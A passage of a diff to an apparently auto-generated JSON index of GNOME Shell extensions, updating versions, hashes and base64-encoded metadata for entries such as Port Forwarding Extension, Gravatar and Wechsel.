 , {"uuid": "portforwarding-extension@SJBERTRAND.github.com", "name": "Port Forwarding Extension", "pname": "port-forwarding-extension", "description": "Extension to enable port forwarding via SSH ", "link": "https://extensions.gnome.org/extension/6919/port-forwarding-extension/", "shell_version_map": {
-    "45": {"version": "7", "sha256": "0jhm2mfvpz435f7fap3jj0591zg8mprhc0dgj7pnv37yws74m1wy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="},
-    "46": {"version": "7", "sha256": "0jhm2mfvpz435f7fap3jj0591zg8mprhc0dgj7pnv37yws74m1wy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="},
-    "47": {"version": "7", "sha256": "0jhm2mfvpz435f7fap3jj0591zg8mprhc0dgj7pnv37yws74m1wy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="},
-    "48": {"version": "7", "sha256": "0jhm2mfvpz435f7fap3jj0591zg8mprhc0dgj7pnv37yws74m1wy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="}
+    "45": {"version": "8", "sha256": "13aj9bxlyd79cavysm0w40zq6x54i6m17jys3z9hym8whhb1pzp9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "46": {"version": "8", "sha256": "13aj9bxlyd79cavysm0w40zq6x54i6m17jys3z9hym8whhb1pzp9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "47": {"version": "8", "sha256": "13aj9bxlyd79cavysm0w40zq6x54i6m17jys3z9hym8whhb1pzp9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "48": {"version": "8", "sha256": "13aj9bxlyd79cavysm0w40zq6x54i6m17jys3z9hym8whhb1pzp9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4dGVuc2lvbiB0byBlbmFibGUgcG9ydCBmb3J3YXJkaW5nIHZpYSBTU0ggIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uQFNKQkVSVFJBTkQuZ2l0aHViLmNvbSIsCiAgIm5hbWUiOiAiUG9ydCBGb3J3YXJkaW5nIEV4dGVuc2lvbiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5wb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NKQkVSVFJBTkQvcG9ydGZvcndhcmRpbmctZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwb3J0Zm9yd2FyZGluZy1leHRlbnNpb25AU0pCRVJUUkFORC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDgKfQ=="}
   }}
 , {"uuid": "gravatar@dsheeler.net", "name": "Gravatar", "pname": "gravatar", "description": "Synchronize GNOME Shell user icon with an avatar service, one of Gravatar or Libravatar.\nThis extension is not affiliated, funded, or in any way associated with Automattic or Gravatar.", "link": "https://extensions.gnome.org/extension/6922/gravatar/", "shell_version_map": {
     "46": {"version": "5", "sha256": "0j4qam396adbar703rxf3aa04z99l57l6hwgva9957qqdygflsl5", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlN5bmNocm9uaXplIEdOT01FIFNoZWxsIHVzZXIgaWNvbiB3aXRoIEdyYXZhdGFyLlxuVGhpcyBleHRlbnNpb24gaXMgbm90IGFmZmlsaWF0ZWQsIGZ1bmRlZCwgb3IgaW4gYW55IHdheSBhc3NvY2lhdGVkIHdpdGggQXV0b21hdHRpYyBhbmQgR3JhdmF0YXIuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJkc2hlZWxlciIsCiAgICAibGliZXJhcGF5IjogImRzaGVlbGVyIiwKICAgICJwYXlwYWwiOiAiRGFuaWVsU2hlZWxlciIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1zaGVsbC1leHRlbnNpb25zLWdyYXZhdGFyIiwKICAibmFtZSI6ICJHcmF2YXRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5ncmF2YXRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kc2hlZWxlci9nbm9tZS1zaGVsbC1leHRlbnNpb25zLWdyYXZhdGFyIiwKICAidXVpZCI6ICJncmF2YXRhckBkc2hlZWxlci5uZXQiLAogICJ2ZXJzaW9uIjogNQp9"},
@@ -8086,7 +8109,8 @@
     "44": {"version": "6", "sha256": "0crdyx67qr0kq052jxy27sfdxzr03vv1pf8xnc8i4az473qj8d1w", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXNlIHlvdXIgY29tcHV0ZXIgYnkgcmVwbGFjaW5nIHVzZXIgZm9sZGVycyB3aXRoIHN5bWxpbmtzIHRvIHByb2plY3QgZm9sZGVycy5cblRoaXMgZXh0ZW5zaW9uIGlzIHRoZSB1c2VyIGludGVyZmFjZSBmb3IgdGhlIHdlY2hzZWwgY2xpIHRvb2wuXG5cbldlY2hzZWwgaXMgYSBzaW1wbGUgdG9vbCB0aGF0IGhlbHBzIHlvdSBieSBjcmVhdGluZyBpbmRpdmlkdWFsIERvd25sb2FkLCBEZXNrdG9wLCAuLi4gZm9sZGVycyBmb3IgZWFjaCBwcm9qZWN0LlxuSXQgcmVwbGFjZXMgdGhlIG9yaWdpbmFsIGZvbGRlcnMgd2l0aCBzeW1saW5rcyB0byB0aGUgZm9sZGVycyBvZiB0aGUgY3VycmVudCBhY3RpdmUgcHJvamVjdC5cbkxpa2UgdGhpcyB0aGUgcmFuZG9tIGZpbGVzIHlvdSBkb3dubG9hZCwgd2lsbCBiZSBwbGFjZWQgaW4gdGhlIERvd25sb2FkIGZvbGRlciB0aGV5IGJlbG9uZyB0by5cblxuVGhpcyBFeHRlbnNpb24gZGVwZW5kcyBvbiB0aGUgd2VjaHNlbCBjbGkgdG9vbCwgd2hpY2ggeW91IGNhbiBmaW5kIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwiLAogICJuYW1lIjogIldlY2hzZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2VjaHNlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDQiLAogICAgIjQ1IiwKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0p1c3RTb21lUmFuZG9tVXNlcm5hbWUvd2VjaHNlbC1leHRlbnNpb24iLAogICJ1dWlkIjogIndlY2hzZWxAdHJhbnNpc3Rvci5sb2NhbCIsCiAgInZlcnNpb24iOiA2Cn0="},
     "45": {"version": "12", "sha256": "0sr7rhf18p4rgj3qdvw0h60xwbj74xpkqvw30zix1a7irizpzpll", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXNlIHlvdXIgY29tcHV0ZXIgYnkgcmVwbGFjaW5nIHVzZXIgZm9sZGVycyB3aXRoIHN5bWxpbmtzIHRvIHByb2plY3QgZm9sZGVycy5cblRoaXMgZXh0ZW5zaW9uIGlzIHRoZSB1c2VyIGludGVyZmFjZSBmb3IgdGhlIHdlY2hzZWwgY2xpIHRvb2wuXG5cbldlY2hzZWwgaXMgYSBzaW1wbGUgdG9vbCB0aGF0IGhlbHBzIHlvdSBieSBjcmVhdGluZyBpbmRpdmlkdWFsIERvd25sb2FkLCBEZXNrdG9wLCAuLi4gZm9sZGVycyBmb3IgZWFjaCBwcm9qZWN0LlxuSXQgcmVwbGFjZXMgdGhlIG9yaWdpbmFsIGZvbGRlcnMgd2l0aCBzeW1saW5rcyB0byB0aGUgZm9sZGVycyBvZiB0aGUgY3VycmVudCBhY3RpdmUgcHJvamVjdC5cbkxpa2UgdGhpcyB0aGUgcmFuZG9tIGZpbGVzIHlvdSBkb3dubG9hZCwgd2lsbCBiZSBwbGFjZWQgaW4gdGhlIERvd25sb2FkIGZvbGRlciB0aGV5IGJlbG9uZyB0by5cblxuVGhpcyBFeHRlbnNpb24gZGVwZW5kcyBvbiB0aGUgd2VjaHNlbCBjbGkgdG9vbCwgd2hpY2ggeW91IGNhbiBmaW5kIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwiLAogICJuYW1lIjogIldlY2hzZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2VjaHNlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0p1c3RTb21lUmFuZG9tVXNlcm5hbWUvd2VjaHNlbC1leHRlbnNpb24iLAogICJ1dWlkIjogIndlY2hzZWxAdHJhbnNpc3Rvci5sb2NhbCIsCiAgInZlcnNpb24iOiAxMgp9"},
     "46": {"version": "12", "sha256": "0sr7rhf18p4rgj3qdvw0h60xwbj74xpkqvw30zix1a7irizpzpll", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXNlIHlvdXIgY29tcHV0ZXIgYnkgcmVwbGFjaW5nIHVzZXIgZm9sZGVycyB3aXRoIHN5bWxpbmtzIHRvIHByb2plY3QgZm9sZGVycy5cblRoaXMgZXh0ZW5zaW9uIGlzIHRoZSB1c2VyIGludGVyZmFjZSBmb3IgdGhlIHdlY2hzZWwgY2xpIHRvb2wuXG5cbldlY2hzZWwgaXMgYSBzaW1wbGUgdG9vbCB0aGF0IGhlbHBzIHlvdSBieSBjcmVhdGluZyBpbmRpdmlkdWFsIERvd25sb2FkLCBEZXNrdG9wLCAuLi4gZm9sZGVycyBmb3IgZWFjaCBwcm9qZWN0LlxuSXQgcmVwbGFjZXMgdGhlIG9yaWdpbmFsIGZvbGRlcnMgd2l0aCBzeW1saW5rcyB0byB0aGUgZm9sZGVycyBvZiB0aGUgY3VycmVudCBhY3RpdmUgcHJvamVjdC5cbkxpa2UgdGhpcyB0aGUgcmFuZG9tIGZpbGVzIHlvdSBkb3dubG9hZCwgd2lsbCBiZSBwbGFjZWQgaW4gdGhlIERvd25sb2FkIGZvbGRlciB0aGV5IGJlbG9uZyB0by5cblxuVGhpcyBFeHRlbnNpb24gZGVwZW5kcyBvbiB0aGUgd2VjaHNlbCBjbGkgdG9vbCwgd2hpY2ggeW91IGNhbiBmaW5kIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwiLAogICJuYW1lIjogIldlY2hzZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2VjaHNlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0p1c3RTb21lUmFuZG9tVXNlcm5hbWUvd2VjaHNlbC1leHRlbnNpb24iLAogICJ1dWlkIjogIndlY2hzZWxAdHJhbnNpc3Rvci5sb2NhbCIsCiAgInZlcnNpb24iOiAxMgp9"},
-    "47": {"version": "12", "sha256": "0sr7rhf18p4rgj3qdvw0h60xwbj74xpkqvw30zix1a7irizpzpll", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXNlIHlvdXIgY29tcHV0ZXIgYnkgcmVwbGFjaW5nIHVzZXIgZm9sZGVycyB3aXRoIHN5bWxpbmtzIHRvIHByb2plY3QgZm9sZGVycy5cblRoaXMgZXh0ZW5zaW9uIGlzIHRoZSB1c2VyIGludGVyZmFjZSBmb3IgdGhlIHdlY2hzZWwgY2xpIHRvb2wuXG5cbldlY2hzZWwgaXMgYSBzaW1wbGUgdG9vbCB0aGF0IGhlbHBzIHlvdSBieSBjcmVhdGluZyBpbmRpdmlkdWFsIERvd25sb2FkLCBEZXNrdG9wLCAuLi4gZm9sZGVycyBmb3IgZWFjaCBwcm9qZWN0LlxuSXQgcmVwbGFjZXMgdGhlIG9yaWdpbmFsIGZvbGRlcnMgd2l0aCBzeW1saW5rcyB0byB0aGUgZm9sZGVycyBvZiB0aGUgY3VycmVudCBhY3RpdmUgcHJvamVjdC5cbkxpa2UgdGhpcyB0aGUgcmFuZG9tIGZpbGVzIHlvdSBkb3dubG9hZCwgd2lsbCBiZSBwbGFjZWQgaW4gdGhlIERvd25sb2FkIGZvbGRlciB0aGV5IGJlbG9uZyB0by5cblxuVGhpcyBFeHRlbnNpb24gZGVwZW5kcyBvbiB0aGUgd2VjaHNlbCBjbGkgdG9vbCwgd2hpY2ggeW91IGNhbiBmaW5kIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwiLAogICJuYW1lIjogIldlY2hzZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2VjaHNlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0p1c3RTb21lUmFuZG9tVXNlcm5hbWUvd2VjaHNlbC1leHRlbnNpb24iLAogICJ1dWlkIjogIndlY2hzZWxAdHJhbnNpc3Rvci5sb2NhbCIsCiAgInZlcnNpb24iOiAxMgp9"}
+    "47": {"version": "12", "sha256": "0sr7rhf18p4rgj3qdvw0h60xwbj74xpkqvw30zix1a7irizpzpll", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXNlIHlvdXIgY29tcHV0ZXIgYnkgcmVwbGFjaW5nIHVzZXIgZm9sZGVycyB3aXRoIHN5bWxpbmtzIHRvIHByb2plY3QgZm9sZGVycy5cblRoaXMgZXh0ZW5zaW9uIGlzIHRoZSB1c2VyIGludGVyZmFjZSBmb3IgdGhlIHdlY2hzZWwgY2xpIHRvb2wuXG5cbldlY2hzZWwgaXMgYSBzaW1wbGUgdG9vbCB0aGF0IGhlbHBzIHlvdSBieSBjcmVhdGluZyBpbmRpdmlkdWFsIERvd25sb2FkLCBEZXNrdG9wLCAuLi4gZm9sZGVycyBmb3IgZWFjaCBwcm9qZWN0LlxuSXQgcmVwbGFjZXMgdGhlIG9yaWdpbmFsIGZvbGRlcnMgd2l0aCBzeW1saW5rcyB0byB0aGUgZm9sZGVycyBvZiB0aGUgY3VycmVudCBhY3RpdmUgcHJvamVjdC5cbkxpa2UgdGhpcyB0aGUgcmFuZG9tIGZpbGVzIHlvdSBkb3dubG9hZCwgd2lsbCBiZSBwbGFjZWQgaW4gdGhlIERvd25sb2FkIGZvbGRlciB0aGV5IGJlbG9uZyB0by5cblxuVGhpcyBFeHRlbnNpb24gZGVwZW5kcyBvbiB0aGUgd2VjaHNlbCBjbGkgdG9vbCwgd2hpY2ggeW91IGNhbiBmaW5kIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwiLAogICJuYW1lIjogIldlY2hzZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2VjaHNlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0p1c3RTb21lUmFuZG9tVXNlcm5hbWUvd2VjaHNlbC1leHRlbnNpb24iLAogICJ1dWlkIjogIndlY2hzZWxAdHJhbnNpc3Rvci5sb2NhbCIsCiAgInZlcnNpb24iOiAxMgp9"},
+    "48": {"version": "14", "sha256": "17bajiw1jkq389hy1x3z1gkwlrqcf9b7ckiqf19rx77pgs1151dh", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIk9yZ2FuaXNlIHlvdXIgY29tcHV0ZXIgYnkgcmVwbGFjaW5nIHVzZXIgZm9sZGVycyB3aXRoIHN5bWxpbmtzIHRvIHByb2plY3QgZm9sZGVycy5cblRoaXMgZXh0ZW5zaW9uIGlzIHRoZSB1c2VyIGludGVyZmFjZSBmb3IgdGhlIHdlY2hzZWwgY2xpIHRvb2wuXG5cbldlY2hzZWwgaXMgYSBzaW1wbGUgdG9vbCB0aGF0IGhlbHBzIHlvdSBieSBjcmVhdGluZyBpbmRpdmlkdWFsIERvd25sb2FkLCBEZXNrdG9wLCAuLi4gZm9sZGVycyBmb3IgZWFjaCBwcm9qZWN0LlxuSXQgcmVwbGFjZXMgdGhlIG9yaWdpbmFsIGZvbGRlcnMgd2l0aCBzeW1saW5rcyB0byB0aGUgZm9sZGVycyBvZiB0aGUgY3VycmVudCBhY3RpdmUgcHJvamVjdC5cbkxpa2UgdGhpcyB0aGUgcmFuZG9tIGZpbGVzIHlvdSBkb3dubG9hZCwgd2lsbCBiZSBwbGFjZWQgaW4gdGhlIERvd25sb2FkIGZvbGRlciB0aGV5IGJlbG9uZyB0by5cblxuVGhpcyBFeHRlbnNpb24gZGVwZW5kcyBvbiB0aGUgd2VjaHNlbCBjbGkgdG9vbCwgd2hpY2ggeW91IGNhbiBmaW5kIGhlcmU6IGh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwiLAogICJuYW1lIjogIldlY2hzZWwiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMud2VjaHNlbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9KdXN0U29tZVJhbmRvbVVzZXJuYW1lL3dlY2hzZWwtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJ3ZWNoc2VsQHRyYW5zaXN0b3IubG9jYWwiLAogICJ2ZXJzaW9uIjogMTQKfQ=="}
   }}
 , {"uuid": "boostvolume@shaquib.dev", "name": "Boost Volume", "pname": "boost-volume", "description": "Boosts volume above limits", "link": "https://extensions.gnome.org/extension/6928/boost-volume/", "shell_version_map": {
